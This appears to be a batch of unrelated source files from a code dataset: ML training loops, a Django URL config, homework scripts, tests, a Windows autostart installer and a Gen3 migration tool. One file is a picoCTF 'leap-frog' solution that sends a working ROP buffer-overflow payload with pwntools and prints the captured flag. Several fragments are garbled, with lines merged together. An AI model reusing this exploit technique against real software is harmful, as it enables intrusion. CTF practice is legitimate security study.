mp2 = os.path.join(save_path,\"model_target.h5\")\n # print(tf.test.is_built_with_cuda())\n # train DQN\n for e in range(EPISODES):\n # K.set_value(agent.model_eval.optimizer.lr, 0.5 * K.get_value(agent.model_eval.optimizer.lr))\n done = False\n score = 0\n state = env.reset()\n state = np.reshape(state, [1, state_size]) # 0~255\n state = state / 255.0\n lives = 3\n if e in tune_lr:\n lr = K.get_value(agent.model_eval.optimizer.lr)\n K.set_value(agent.model_eval.optimizer.lr, lr*0.1)\n print(\"lr changed to {}\".format(K.get_value(agent.model_eval.optimizer.lr)))\n writer.add_scalar('lr_logs', K.get_value(agent.model_eval.optimizer.lr), e)\n \n while not done: \n dead = False \n while not dead:\n # render the gym env\n if agent.render:\n env.render()\n # get action for the current state\n action = agent.get_action(state)\n # take the action in the gym env, obtain the next state\n next_state, reward, done, info = env.step(action)\n next_state = np.reshape(next_state, [1, state_size])\n next_state = next_state / 255.0\n # judge if the agent dead\n dead = info['ale.lives'] to the replay memory\n agent.append_sample(state,action,reward,next_state,done)\n # train the evaluation network\n if agent.time_step<10000:\n agent.time_step+=1\n agent.train_model()\n # go to the next state\n state = next_state\n \n # update the target network after some iterations. \n if e % rep_freq == 0:\n agent.eval2target()\n \n # print info and draw the figure.\n if done:\n scores.append(score)\n sum_score += score\n episodes.append(e)\n writer.add_scalar('score_each', scores[-1], e)\n # plot the reward each episode\n # pylab.plot(episodes, scores, 'b')\n print(\"episode:\", e, \" score:\", score, \" memory length:\",\n agent.time_step, \" epsilon:\", agent.epsilon)\n \n if e%avg_length == 0:\n graph_episodes.append(e)\n graph_score.append(sum_score / avg_length)\n sum_score = 0\n writer.add_scalar('score_logs', graph_score[-1], e)\n '''\n # plot the reward each avg_length episodes\n pylab.plot(graph_episodes, graph_score, 'r')\n pylab.savefig(os.path.join(save_path,\"pacman_avg.png\"))\n '''\n if (e+1) % 100 == 0: # test every 100 epochs\n mean_score=0\n for k in range(TEST):\n done = False\n test_score = 0\n state = env.reset()\n state = np.reshape(state, [1, state_size]) # 0~255\n state = state / 255.0\n lives = 3\n while not done: \n dead = False \n while not dead:\n # render the gym env\n if agent.render:\n env.render()\n # get action for the current state\n action = agent.get_action_test(state)\n # take the action in the gym env, obtain the next state\n next_state, reward, done, info = env.step(action)\n next_state = np.reshape(next_state, [1, state_size])\n next_state = next_state / 255.0\n # judge if the agent dead\n dead = info['ale.lives']best_score:\n best_score=mean_score\n best_index=e\n # save the network if you want to test it.\n print(\"Saving model \\n\")\n agent.model_eval.save(mp1)\n agent.model_target.save(mp2) \n print(\"best score:\",best_score)\n print(\"best_episode:\",best_index)\n writer.close()","sub_path":"hw2/atari/atariDQN.py","file_name":"atariDQN.py","file_ext":"py","file_size_in_byte":15733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"147930174","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetup(\n name='confi',\n version='0.0.4.1',\n extras_require={\n 'test': [\n 'pytest',\n ]\n },\n packages=find_packages(),\n long_description=long_description,\n include_package_data=True,\n description='Comfortable python app configuration',\n author='Boris Tseitlin',\n author_email='btseytlin@start.film',\n keywords=['configuration', 'env', 'docker']\n)\n","sub_path":"pypi_install_script/confi-0.0.4.1.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"592199301","text":"'''\nCreated on 05/05/2014\n\n@author: Samus\n'''\n# Pregunta A\nx = 2\n\ny = 5\n\nif y > 8:\n y = y * 2\nelse:\n x = x * 2\n \nprint(x + y)\n\n# Pregunta B\nfor i in range(1, 10):\n if i is not 3:\n for j in range(1, 7):\n print('Hola')\n\n#pregunta C\ncantidad = 0\nfor j in range(1067,3628):\n if j%2==0 and j%7==0:\n cantidad +=1\nprint(\"Cantidad de Numeros Pares y Divisibles entre 7 del rango de 1067 a 3627 %d\" %cantidad)\n\n#pregunta d\ndef isNumeroValido(numero):\n numero = numero.strip()\n #los digitos no pueden ser iguales\n x = 0\n while x < len(numero)-1: \n if numero[x] is [numero[x+1]]:\n return False\n x+=1\n \n #suma digitos\n suma = 0 \n x=0\n while x < len(numero):\n suma = suma + int(numero[x])\n x+=1\n \n if suma % 2 is not 0:\n return False\n \n #ultimo y primer nunero diferente\n if numero[0] == numero[len(numero)-1]:\n return False\n \n return True\n\narchivo = open('telefonos.txt')\n\ncantidadValidos = 0\nfor linea in archivo.readlines():\n if(isNumeroValido(linea)):\n cantidadValidos += 1\n \narchivo.close()\n\nprint (\"Cantidad de Números de Telefonos Validos es : %d\" %cantidadValidos)","sub_path":"Curso Python/tareasemana3/samuel.py","file_name":"samuel.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"202284489","text":"from django.urls import path\r\nfrom . import views\r\n\r\n\r\napp_name = 'channels'\r\n\r\n\r\nurlpatterns = [\r\n path('channel_list/', views.channel_list_on_server, name='channel_list'),\r\n path('return_json_value//', views.return_json_value, name='return_json_value'),\r\n path('show_details///', views.ShowDetailsOfChannelView.as_view(), \r\n name='show_details'),\r\n path('downloads/', views.DownloadAndSaveView.as_view(), name='downloads'),\r\n path('json_data//', views.json_data_storage_view, name='json_data'),\r\n path('no_internet/', views.NoInternetView.as_view(), name='no_internet'),\r\n]","sub_path":"pos/channels/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"429432852","text":"from pwn import *\nimport sys\nimport subprocess\n# flag: picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}\n\nargv = sys.argv\n\nDEBUG = True\nBINARY = './rop'\n\ncontext.binary = BINARY\ncontext.terminal = ['tmux', 'splitw', '-v']\n\ndef attach_gdb():\n gdb.attach(sh)\n\n\nif DEBUG:\n context.log_level = 'error'\n\n\ndef start():\n global sh\n if len(argv) < 2:\n stdout = process.PTY\n stdin = process.PTY\n\n sh = process(BINARY, stdout=stdout, stdin=stdin)\n\n if DEBUG:\n attach_gdb()\n\n REMOTE = False\n else:\n s = ssh(host='2019shell1.picoctf.com', user='sashackers', password=\"XXX\")\n sh = s.process('rop', cwd='/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c')\n REMOTE = True\n\nmain_addr = 0x80487c9\ngets_plt = 0x08048430\nwin1_addr = 0x0804A03D\ndisplay_flag_addr = 0x080486b3\n\nstart()\npayload = 'a'*28\npayload += p32(gets_plt)\npayload += p32(display_flag_addr)\npayload += p32(win1_addr)\n# payload += p32(0x38c0)[:-2]\nsh.sendlineafter('> ', payload)\nsh.sendline('\\x01'*3)\nsh.interactive()\n","sub_path":"docs/picoctf-2019-writeup/binary-exploitation/leap-frog/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"399605088","text":"import tensorflow as tf\nimport numpy as np\nfrom src import facenet\nfrom src.align import detect_face\nfrom scipy import misc\nimport os\n\nMODEL = os.path.abspath(os.path.join(os.path.join(os.getcwd(), os.pardir), \"saved_model/20180402-114759\"))\nGPU_MEMORY_FRACTION = 1.0\nMARGIN = 44\nIMAGE_SIZE = 160\n\n\ndef compute_embedding(image):\n\n image = load_and_align_image(image, IMAGE_SIZE, MARGIN, GPU_MEMORY_FRACTION)\n image = image[None, ...]\n with tf.Graph().as_default():\n\n with tf.Session() as sess:\n\n # Load the model\n facenet.load_model(MODEL)\n\n # Get input and output tensors\n images_placeholder = tf.get_default_graph().get_tensor_by_name(\"input:0\")\n embeddings = tf.get_default_graph().get_tensor_by_name(\"embeddings:0\")\n phase_train_placeholder = tf.get_default_graph().get_tensor_by_name(\"phase_train:0\")\n\n # Run forward pass to calculate embeddings\n feed_dict = { images_placeholder: image, phase_train_placeholder :False }\n embedding = sess.run(embeddings, feed_dict=feed_dict)\n\n return embedding\n\n\n\ndef load_and_align_image(image, image_size, margin, gpu_memory_fraction):\n\n minsize = 20 # minimum size of face\n threshold = [ 0.6, 0.7, 0.7 ] # three steps's threshold\n factor = 0.709 # scale factor\n\n print('Creating networks and loading parameters')\n with tf.Graph().as_default():\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=gpu_memory_fraction)\n sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options, log_device_placement=False))\n with sess.as_default():\n pnet, rnet, onet = detect_face.create_mtcnn(sess, None)\n\n img_size = np.asarray(image.shape)[0:2]\n bounding_boxes, _ = detect_face.detect_face(image, minsize, pnet, rnet, onet, threshold, factor)\n if len(bounding_boxes) < 1:\n print(\"can't detect face, remove \", image)\n det = np.squeeze(bounding_boxes[0 ,0:4])\n bb = np.zeros(4, dtype=np.int32)\n bb[0] = np.maximum(det[0 ] - margin /2, 0)\n bb[1] = np.maximum(det[1 ] - margin /2, 0)\n bb[2] = np.minimum(det[2 ] + margin /2, img_size[1])\n bb[3] = np.minimum(det[3 ] + margin /2, img_size[0])\n cropped = image[bb[1]:bb[3] ,bb[0]:bb[2] ,:]\n aligned = misc.imresize(cropped, (image_size, image_size), interp='bilinear')\n prewhitened = facenet.prewhiten(aligned)\n\n return prewhitened\n","sub_path":"src/embedding_computation.py","file_name":"embedding_computation.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"564279285","text":"from pytest import fixture, raises\n\nfrom blurr.core.errors import SchemaErrorCollection, RequiredAttributeError, EmptyAttributeError, \\\n InvalidIdentifierError, SchemaError, SchemaErrorCollectionFormatter\n\nfully_qualified_name = 'fqn'\n\n\n@fixture\ndef spec():\n return {'empty': '', 'identity': '_some thing'}\n\n\n@fixture\ndef errors(spec):\n return [\n RequiredAttributeError(fully_qualified_name, spec, 'missing'),\n EmptyAttributeError(fully_qualified_name, spec, 'empty'),\n InvalidIdentifierError(fully_qualified_name, spec, 'identity',\n InvalidIdentifierError.Reason.STARTS_WITH_UNDERSCORE),\n ]\n\n\ndef test_schema_error_collection_add_valid_and_invalid_items(errors):\n collection = SchemaErrorCollection()\n collection.add(errors[0])\n collection.add(Exception())\n collection.add(1)\n\n assert len(collection.errors) == 1\n assert collection[fully_qualified_name][0] == errors[0]\n\n\ndef test_schema_error_collection_add_list_of_errors(errors):\n collection = SchemaErrorCollection()\n collection.add(errors)\n\n assert len(collection.errors) == 3\n assert len(collection[fully_qualified_name]) == 3\n assert errors[0] in collection[fully_qualified_name]\n assert errors[1] in collection[fully_qualified_name]\n assert errors[2] in collection[fully_qualified_name]\n\n\ndef test_schema_error_collection_merge(spec, errors):\n error = RequiredAttributeError(fully_qualified_name, spec, 'k')\n collection = SchemaErrorCollection(error)\n collection2 = SchemaErrorCollection(errors)\n\n assert len(collection.errors) == 1\n\n collection.add(collection2.errors)\n\n assert len(collection[fully_qualified_name]) == 4\n assert error in collection[fully_qualified_name]\n assert errors[0] in collection[fully_qualified_name]\n assert errors[1] in collection[fully_qualified_name]\n assert errors[2] in collection[fully_qualified_name]\n\n\ndef test_schema_error_collection_raise(errors):\n collection = SchemaErrorCollection(errors)\n\n with raises(SchemaError) as err:\n collection.raise_errors()\n\n assert err.value.errors == collection\n\n\ndef test_schema_error_collection_formatter(errors):\n collection = SchemaErrorCollection(errors)\n formatter = SchemaErrorCollectionFormatter(line_separator='\\n')\n\n err = formatter.format(collection)\n assert err.startswith('''\nfqn\n===''')\n assert '--> Attribute `missing` must be present under `fqn`.\\n' in err\n assert '--> Attribute `empty` under `fqn` cannot be left empty.\\n' in err\n assert '--> `identity: _some thing` in section `fqn` is invalid. Identifiers starting with underscore `_` are reserved.' in err\n\n\ndef test_schema_error_collection_add_duplicate(errors):\n collection = SchemaErrorCollection()\n\n collection.add(errors[0])\n assert len(collection.errors) == 1\n collection.add(errors[0])\n assert len(collection.errors) == 1\n\n collection.add(errors)\n assert len(collection.errors) == 3\n collection.add(errors)\n assert len(collection.errors) == 3\n","sub_path":"tests/core/error_test.py","file_name":"error_test.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"299130262","text":"import os\n\nenv = os.environ['ENVIRONMENT']\ntestinfra_hosts = [env + \"-bastion1\"]\n\n# Switch to this form when we upgrade Jenkins testinfra 1.4.5 => 1.6.5+\n# def test_consul_cluster_count(host):\n# cmd = host.run_expect([0], 'consul members --status=alive | grep \"^' +\n# env + '-consul\" | wc -l')\n\n\n# Make sure we have a 3 node consul cluster\ndef test_consul_cluster_count(Command):\n cmd = Command('consul members --status=alive | grep \"^' + env +\n '-consul\" | wc -l')\n assert int(cmd.stdout) >= 1\n assert cmd.rc == 0\n","sub_path":"layers/support/tests/test_bastion.py","file_name":"test_bastion.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"567327529","text":"\"\"\"\n\nThe installer of PcControllerMain.\nmust be in the same file with it\n\"\"\"\n\nfrom classes.UDPSocketClass import UDPSocket\nfrom threading import Thread\nfrom PcControllerDataProfile import PcControllerDataProfile\nfrom time import sleep\nimport socket\nfrom os import getenv, makedirs, path, _exit\nfrom shutil import copy\nimport ctypes\n\nBRODCAST_ADDR = ('255.255.255.255', 5000)\nAUTO_RUN_FOLER_PATH = '{}\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup'.format(getenv('APPDATA'))\nDATA_PROFILE_PATH = 'C:\\\\PcControllerData'\nPcControllerMainFileName = 'PcControllerMain.py'\nPcControllerDataFileName = 'PcControllerDataProfile.py'\n\n\ndef get_free_port():\n \"\"\"\n generate free port for the mini server\n \"\"\"\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.bind((\"\", 0))\n s.listen(1)\n port = s.getsockname()[1]\n s.close()\n return port\n\n\ndef send_register_ping_broadcast_thread(port):\n \"\"\"\n ping the main server\n \"\"\"\n UDP_socket = UDPSocket()\n while True:\n UDP_socket.UDPSend(data=str(port), addr=BRODCAST_ADDR)\n sleep(.05)\n\n\ndef main():\n installer_port = get_free_port()\n ping_thread = Thread(target=send_register_ping_broadcast_thread, args=(installer_port,))\n ping_thread.start()\n try:\n data_udp = UDPSocket()\n register_data, addr = data_udp.UDPRecv(('', installer_port))\n register_data = register_data.split('|')\n ID = int(register_data[0])\n name = register_data[1]\n server_ip = register_data[2]\n server_port = register_data[3]\n data_profile = PcControllerDataProfile(ID=int(ID), name=name, server_addr=(server_ip, int(server_port)),\n client_port=int(installer_port))\n if not path.exists(DATA_PROFILE_PATH):\n makedirs(DATA_PROFILE_PATH)\n data_profile.update_data_profile_file(DATA_PROFILE_PATH)\n copy(PcControllerMainFileName, AUTO_RUN_FOLER_PATH)\n copy(PcControllerDataFileName, AUTO_RUN_FOLER_PATH)\n ctypes.windll.user32.MessageBoxA(0, 'Successfully Installed,\\n please restart your computer', 'Status', 0)\n _exit(1)\n except Exception as e:\n ctypes.windll.user32.MessageBoxA(0, str(e), 'error', 0)\n\n\nif __name__ == '__main__':\n while True:\n try:\n main()\n except socket.error:\n ctypes.windll.user32.MessageBoxA(0, 'connection error, check your internet connection', 'error', 0)\n","sub_path":"Devices-Controller/PcController/PcControllerInstaller.py","file_name":"PcControllerInstaller.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"61374410","text":"import re\nimport sys\nimport collections\nimport threadpool\nimport os\n\n# stopwords = set(open('stop_words').read().split(','))\n# words = re.findall('\\w{3,}', open(sys.argv[1]).read().lower())\n# counts = collections.Counter(w for w in words if w not in stopwords)\n# for (w, c) in counts.most_common(25):\n# print w, '-', c\n\nclass word_counter:\n def __init__(self):\n self.counts = collections.Counter()\n\n def count_file(self, file_name):\n words = re.findall('\\w{3,}', open(file_name).read().lower())\n self.counts += collections.Counter(w for w in words if w not in self.stopwords)\n\n def main(self):\n self.stopwords = set(open('stop_words').read().split(','))\n file_names = ['anonymit.txt','cDc-0200.txt','crossbow.txt','gems.txt']\n pool = threadpool.ThreadPool(10)\n requests = threadpool.makeRequests(self.count_file, file_names)\n [pool.putRequest(req) for req in requests] # all the requests are thrown to the pool\n pool.wait() # quit after all the threads stop\n for (w, c) in self.counts.most_common(40):\n print(w, '-', c)\n\n\nif __name__ == \"__main__\":\n wc = word_counter()\n wc.main()","sub_path":"swe244p_new/src/ex5/tf.py","file_name":"tf.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"384586632","text":"import json\r\nfrom generators import StoneGenerator, SandGenerator\r\n#Names, amirite guys\r\n\r\nclass Mid():\r\n def __init__(self, config_loc=\"config.json\"):\r\n try:\r\n with open(\"config.json\", \"r\") as configFile:\r\n self.datas = json.load(configFile)\r\n except FileNotFoundError:\r\n self.datas = {}\r\n with open(\"config.json\", \"w\") as configFile:\r\n json.dump(self.datas, configFile, ensure_ascii=False)\r\n\r\n def get_generator(self, material):\r\n if self.datas[material][\"type\"] == \"stone\":\r\n return StoneGenerator(material, self.datas[material][\"ranges\"])\r\n return SandGenerator(material, self.datas[material][\"ranges\"])\r\n\r\n def save_new_data(self, name, type, data):\r\n temp = {\r\n \"type\": type,\r\n \"ranges\": data\r\n }\r\n\r\n self.datas[name] = temp\r\n with open(\"config.json\", \"w\") as configFile:\r\n json.dump(self.datas, configFile, ensure_ascii=False)\r\n\r\n def delete_data(self, name):\r\n del self.datas[name]\r\n with open(\"config.json\", \"w\") as configFile:\r\n json.dump(self.datas, configFile, ensure_ascii=False)\r\n","sub_path":"mid.py","file_name":"mid.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"618918253","text":"from matrices import *\nfrom random import randint, random\n\n\ndef hilbert_matrix(size: int) -> Matrix:\n return dense_matrix([[1 / (i + j + 1) for j in range(size)] for i in range(size)])\n\n\ndef lower_diagonal_epsilon_matrix(size: int, epsilon: float) -> Matrix:\n points = {}\n for i in range(1, size - 1):\n points[(i, i - 1)] = 1\n points[(0, size - 1)] = epsilon\n return sparse_matrix(points)\n\n\ndef random_strictly_diagonally_dominant_int_matrix(size: int, rand_min: int, rand_max: int) -> Matrix:\n _assert_max_gt_min(rand_min, rand_max)\n range_size = range(size)\n m = [[randint(rand_min, rand_max) for _ in range_size] for _ in range_size]\n for i in range_size:\n m[i][i] = randint(sum((abs(m[i][j]) + 1 for j in range_size if i != j)), rand_max * size)\n return dense_matrix(m)\n\n\ndef random_weakly_diagonally_dominant_int_matrix(size: int, rand_min: int, rand_max: int) -> Matrix:\n _assert_max_gt_min(rand_min, rand_max)\n range_size = range(size)\n m = [[randint(rand_min, rand_max) for _ in range_size] for _ in range_size]\n for i in range_size:\n m[i][i] = sum(abs(m[i][j]) for j in range_size if i != j)\n return dense_matrix(m)\n\n\ndef random_diagonally_dominant_float_matrix(size: int, rand_min: float, rand_max: float) -> Matrix:\n _assert_max_gt_min(rand_min, rand_max)\n diff = rand_max - rand_min\n range_size = range(size)\n m = [[random() * diff + rand_min for _ in range_size] for _ in range_size]\n for i in range_size:\n row_sum = sum((abs(m[i][j]) for j in range_size if i != j))\n m[i][i] = random() * (rand_max * size - row_sum) + row_sum\n return dense_matrix(m)\n\n\ndef random_int_vector(size: int, rand_min: int, rand_max: int) -> Vector:\n _assert_max_gt_min(rand_min, rand_max)\n return vector([randint(rand_min, rand_max) for _ in range(size)])\n\n\ndef random_float_vector(size: int, rand_min: float, rand_max: float) -> Vector:\n _assert_max_gt_min(rand_min, rand_max)\n diff = rand_max - rand_min\n return vector([random() * diff + rand_min for _ in range(size)])\n\n\ndef _assert_max_gt_min(min_val: float, max_val: float) -> None:\n if min_val >= max_val:\n raise ValueError(\"Max value must be greater than min value\")\n","sub_path":"src/generators.py","file_name":"generators.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"390774318","text":"import enum\n\nclass Action_Duration(enum.IntEnum):\n FREE = 1\n MOVE = 2\n STANDARD = 3\n FULL_ROUND = 4\n\nclass Turn:\n # By default, a turn consists of any number of free actions, a move action, and a standard action.\n # Actions can be executed in any order.\n # Some free actions can only be done once a turn without resorting to extra effort.\n def __init__(self):\n self.action_order = []\n self.turn_default = {Action_Duration.MOVE:1, Action_Duration.STANDARD:1}\n\n def insert_action(self, action, index=None):\n if index == None:\n index = len(self.action_order)\n dur = action.get_action_type()\n if dur == Action_Duration.FREE:\n self.action_order.insert(index, action)\n elif dur == Action_Duration.FULL_ROUND:\n if dur in self.turn_default:\n if self.turn_default[dur] > 0:\n self.turn_default[dur] -= 1\n self.action_order.insert(index, action)\n else:\n if (self.turn_default[Action_Duration.MOVE] > 0) and (self.turn_default[Action_Duration.STANDARD] > 0):\n self.turn_default[Action_Duration.MOVE] -= 1\n self.turn_default[Action_Duration.STANDARD] -= 1\n self.action_order.insert(index, action)\n else:\n return -1\n else:\n if self.turn_default[dur] > 0:\n self.action_order.insert(index, action)\n self.turn_default[dur] -= 1\n else:\n return -1\n\n def increase_action(self, action_type, increase=1):\n if action_type not in self.turn_default:\n self.turn_default[action_type] = 0\n self.turn_default[action_type] += increase\n\n def execute_actions(self):\n for entry in self.action_order:\n entry.execute_action()\n\n def __str__(self):\n retstr = \"\"\n for entry in self.action_order:\n retstr += str(entry)\n retstr += \" -> \"\n if len(retstr) != 0:\n retstr = retstr[:-4]\n\n addl_actions_str = \"\"\n\n for entry in self.turn_default:\n actions_left = self.turn_default[entry]\n action_type = \"\"\n if entry == Action_Duration.MOVE:\n action_type = \"Move Actions\"\n elif entry == Action_Duration.STANDARD:\n action_type = \"Standard Actions\"\n else:\n action_type = entry\n if actions_left != 0:\n addl_actions_str = \"%s, %s: %d\" % (addl_actions_str, action_type, actions_left)\n\n if len(addl_actions_str) != 0:\n addl_actions_str = addl_actions_str[2:]\n retstr = retstr + \" : (Remaining: \" + addl_actions_str + \")\"\n\n return \"[\" + retstr + \"]\"\n\n\nclass Action:\n def __init__(self, act_val=None):\n self.action = act_val\n self.data = None\n\n def set_action(self, act_val):\n self.action = act_val\n\n def set_data(self, data):\n self.data = data\n\n def execute_action(self):\n self.action(self.data)\n\n def get_action_type(self):\n return None\n\n def get_action_name(self):\n return None\n\n def __str__(self):\n retstr = \"(%s: %s(%s))\" % (self.get_action_name(), str(self.action), str(self.data))\n return retstr\n\n\nclass Free_Action(Action):\n def get_action_type(self):\n return Action_Duration.FREE\n\n def get_action_name(self):\n return \"Free Action\"\n\nclass Move_Action(Action):\n def get_action_type(self):\n return Action_Duration.MOVE\n\n def get_action_name(self):\n return \"Move Action\"\n\n\nclass Standard_Action(Action):\n def get_action_type(self):\n return Action_Duration.STANDARD\n\n def get_action_name(self):\n return \"Standard Action\"\n\n\nclass Full_Round_Action(Action):\n def get_action_type(self):\n return Action_Duration.FULL_ROUND\n\n def get_action_name(self):\n return \"Full-Round Action\"\n\n\n\n\nif __name__ == \"__main__\":\n t1 = Turn()\n print(t1.turn_default)\n\n a_move = Move_Action(None)\n a_std = Standard_Action(None)\n a_rnd = Full_Round_Action(None)\n a_free = Free_Action(None)\n\n t1.insert_action(a_move)\n t1.insert_action(a_std)\n t1.insert_action(a_free)\n t1.insert_action(a_free)\n print(t1.turn_default)\n print(t1.action_order)","sub_path":"action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":4420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"350828478","text":"# An example when a newline separates nucleotides of the same sequence\r\n\r\nfasta = []\r\nfile = []\r\nwith open('host_transc_introns.fasta', 'r') as f:\r\n for line in f:\r\n file.append(line.strip())\r\n\r\n for i in range(len(file)):\r\n line = file[i]\r\n if line.startswith('>'):\r\n header = (line.strip().split(\">\")[1]) # collect just the header without '>'\r\n seq = \"\"\r\n j = i # the index for the sequence\r\n while True:\r\n j += 1 # the sequence is one position right of the header line\r\n if j == len(file):\r\n break\r\n if file[j].startswith('>'):\r\n break # when it encounters another header\r\n else:\r\n s = file[j]\r\n seq += s\r\n fasta.append(header)\r\n fasta.append(seq)\r\n else:\r\n continue\r\n\r\n# re-rewrite the file as a proper fasta such that only newline between sequences and\r\n# headers\r\nwith open('host_transc_introns_V2.fasta', 'w') as f:\r\n for line in fasta:\r\n f.write(\"{}\\n\".format(line))\r\n","sub_path":"newline_within_same_sequence.py","file_name":"newline_within_same_sequence.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"449307363","text":"import os, os.path, sys, subprocess, glob, json, re, operator, requests, datetime\nimport os.path\nimport fnmatch, sys, ntpath, copy\nfrom shutil import copyfile\nimport numpy as np\nfrom collections import Counter\nfrom collections import OrderedDict\nfrom statistics import mean\nfrom pathlib import Path\nimport pandas as pd\nfrom pandas.io.json import json_normalize\n\npd.options.mode.chained_assignment = None # turn off pandas chained assignment warning\n\nimport sys\n\nif sys.version_info[0] < 3:\n from StringIO import StringIO\nelse:\n from io import StringIO\n\n# import gen3\n# from gen3.auth import Gen3Auth\n# from gen3.submission import Gen3Submission\n\ngit_dir = \"/Users/christopher/Documents/GitHub\"\nsdk_dir = \"/cgmeyer/gen3sdk-python\"\nsys.path.insert(1, \"{}{}\".format(git_dir, sdk_dir))\nfrom gen3.submission import Gen3Submission\nfrom gen3.auth import Gen3Auth\nfrom expansion.expansion import Gen3Expansion\n\n\nclass Gen3Error(Exception):\n pass\n\n\nclass Gen3Migration:\n \"\"\"Scripts for migrating data in TSVs.\n Args:\n endpoint (str): The URL of the data commons.\n auth_provider (Gen3Auth): A Gen3Auth class instance.\n Examples:\n This creates an instance of the Gen3Migration class pointed at the sandbox commons\n using the credentials.json downloaded from the commons profile page.\n >>> endpoint = \"https://nci-crdc-demo.datacommons.io\"\n ... auth = Gen3Auth(endpoint, refresh_file=\"credentials.json\")\n ... mig = Gen3Migration(endpoint, auth)\n \"\"\"\n\n def __init__(self, endpoint, auth_provider):\n self._auth_provider = auth_provider\n self._endpoint = endpoint\n self.sub = Gen3Submission(endpoint, auth_provider)\n self.exp = Gen3Expansion(endpoint, auth_provider, self.sub)\n\n def read_tsv(self, project_id, node, name=\"temp\", strip=True):\n\n if name is not None:\n filename = \"{}_{}_{}.tsv\".format(name, project_id, node)\n else:\n filename = \"{}_{}.tsv\".format(project_id, node)\n\n try:\n df = pd.read_csv(filename, sep=\"\\t\", header=0, dtype=str)\n if strip is True:\n df.columns = df.columns.str.replace(\"#[0-9]+\", \"\")\n\n except Exception as e:\n print(\"\\tError reading '{}' TSV: {}\".format(filename, e))\n return\n\n # warn if there are duplicate submitter_ids:\n if \"submitter_id\" in df:\n sids = list(df[\"submitter_id\"])\n if len(sids) != len(set(sids)):\n print(\n \"\\n\\n\\n\\t\\tWARNING!! This TSV contains duplicate submitter_ids: {}\".format(\n filename\n )\n )\n\n return df\n\n def write_tsv(self, df, project_id, node, name=\"temp\"):\n if name is not None:\n outname = \"{0}_{1}_{2}.tsv\".format(name, project_id, node)\n else:\n outname = \"{0}_{1}.tsv\".format(project_id, node)\n try:\n df.to_csv(outname, sep=\"\\t\", index=False, encoding=\"utf-8\")\n print(\n \"\\t\\t\\tTotal of {} records written to node '{}' in file: {}.\".format(\n len(df), node, outname\n )\n )\n except Exception as e:\n print(\"\\t\\t\\tError writing TSV file: {}\".format(e))\n return df\n\n def make_temp_files(\n self, prefix, suffix, name=\"temp\", overwrite=True, nodes=[\"all\"]\n ):\n \"\"\"\n Make copies of all files matching a pattern with \"temp_\" prefix added.\n Args:\n prefix(str): A substring at the beginning of file names.\n suffix(str): A substring at the end of file names.\n name(str): The substring to add at the beginning of copies.\n Example:\n This makes a copy of every TSV file beginning with \"DEV\" (that is, files matching DEV*tsv) and names the copies temp_DEV*tsv.\n make_temp_files(prefix='DEV',suffix='tsv')\n \"\"\"\n if isinstance(nodes, str):\n nodes = [nodes]\n\n if nodes == [\"all\"]:\n pattern = \"{0}*{1}\".format(prefix, suffix)\n filenames = glob.glob(pattern)\n\n elif isinstance(nodes, list):\n filenames = []\n for node in nodes:\n pattern = \"{0}*{1}.{2}\".format(prefix, node, suffix)\n node_files = glob.glob(pattern)\n if len(node_files) > 0:\n filenames.append(glob.glob(pattern)[0])\n else:\n print(\n \"\\tNo '{}' node TSV found with prefix '{}'.\".format(\n node, prefix\n )\n )\n\n else:\n raise Gen3Error(\n \"Please provide 'nodes' argument as a string or list of node_ids:\\n\\t{}\\n\\tis not properly formatted.\".format(\n nodes\n )\n )\n\n if overwrite is True:\n for filename in filenames:\n temp_name = \"{}_{}\".format(name, filename)\n print(\"\\tCopying file {0} to:\\n\\t\\t{1}\".format(filename, temp_name))\n copyfile(filename, temp_name)\n print(\"\\tTotal of {} '{}' files created.\".format(len(filenames), name))\n\n pattern = \"{}*{}\".format(name, suffix)\n tempfiles = glob.glob(pattern)\n print(\n \"\\tReturning list of {} '{}' files found in this directory.\".format(\n len(tempfiles), name\n )\n )\n return tempfiles\n\n def check_null(self, project_id, node, prop, name=\"temp\"):\n \"\"\"\n Checks if all data for a prop in a TSV are null.\n Returns the number of non-null records in the TSV.\n If check_null(project,node,prop) == 0, all data are null.\n \"\"\"\n print(\n \"\\tChecking for non-null 